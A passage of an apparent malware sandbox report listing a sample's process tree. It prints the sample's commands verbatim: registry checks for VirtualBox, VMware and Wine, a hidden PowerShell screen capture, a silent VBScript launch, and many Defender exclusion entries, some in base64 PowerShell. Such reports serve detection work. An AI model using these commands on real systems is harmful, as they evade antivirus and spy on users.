      reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService" /ve
      4⤵
      Enumerates VirtualBox registry keys
      PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3256
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" /ve
      4⤵
      Looks for VMWare Tools registry key
      PID:1244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" /ve"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Wine" /ve
      4⤵
      Identifies Wine through registry keys
      PID:5232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | Measure-Object -Property Size -Sum).Sum""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | Measure-Object -Property Size -Sum).Sum"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2788
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3468
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\serviceclient" --app-path="C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2808 --field-trial-handle=1740,i,5010826413266110763,7339802609196626592,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5952
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
      4⤵
      PID:1648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_de794c.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_de794c.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5156
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4184
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_4abc9c.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:2700
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_4abc9c.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:5136
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1340
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:3064
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:476
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62" /t REG_DWORD /d 0 /f
      4⤵
      PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1748
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:2928
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5624
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:3840
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:5036
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\redist_setup_c8.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:1476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:4176
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6020
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "update_d654.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:3848
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "update_d654.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "update_d654.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1172
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "update_d654.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "redist_setup_c8.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "redist_setup_c8.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "redist_setup_c8.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "redist_setup_c8.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfADcAZgBkADYAMgA1AFwAUwBlAHIAdgBpAGMAZQBDAGwAaQBlAG4AdAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAYwBhAGMAaABlAFwAbQByAHgANwAwAHgANQBjAGUAZgA2ADIAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABjAGEAYwBoAGUAXABtAHIAeAA3ADAAeAA1AGMAZQBmADYAMgBcAHUAcABkAGEAdABlAF8AZAA2ADUANAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAYwBhAGMAaABlAFwAbQByAHgANwAwAHgANQBjAGUAZgA2ADIAXAByAGUAZABpAHMAdABfAHMAZQB0AHUAcABfAGMAOAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAHUAcABkAGEAdABlAF8AZAA2ADUANAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcgBlAGQAaQBzAHQAXwBzAGUAdAB1AHAAXwBjADgALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfADcAZgBkADYAMgA1AFwAUwBlAHIAdgBpAGMAZQBDAGwAaQBlAG4AdAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAYwBhAGMAaABlAFwAbQByAHgANwAwAHgANQBjAGUAZgA2ADIAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABjAGEAYwBoAGUAXABtAHIAeAA3ADAAeAA1AGMAZQBmADYAMgBcAHUAcABkAGEAdABlAF8AZAA2ADUANAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAYwBhAGMAaABlAFwAbQByAHgANwAwAHgANQBjAGUAZgA2ADIAXAByAGUAZABpAHMAdABfAHMAZQB0AHUAcABfAGMAOAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAHUAcABkAGEAdABlAF8AZAA2ADUANAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcgBlAGQAaQBzAHQAXwBzAGUAdAB1AHAAXwBjADgALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:5508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2892
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_7fd625\ServiceClient.exe"
      4⤵
      PID:5956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62'""
    3⤵
    - Executes a command shell one-liner
    PID:5172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62""
    3⤵
    - Executes a command shell one-liner
    PID:3444
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62"
      4⤵
      PID:5844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache'""
    3⤵
    - Executes a command shell one-liner
    PID:2868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache""
    3⤵
    - Executes a command shell one-liner
    PID:1468
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\cache"
      4⤵
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:3320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\cache\mrx70x5cef62\update_d654.exe'"
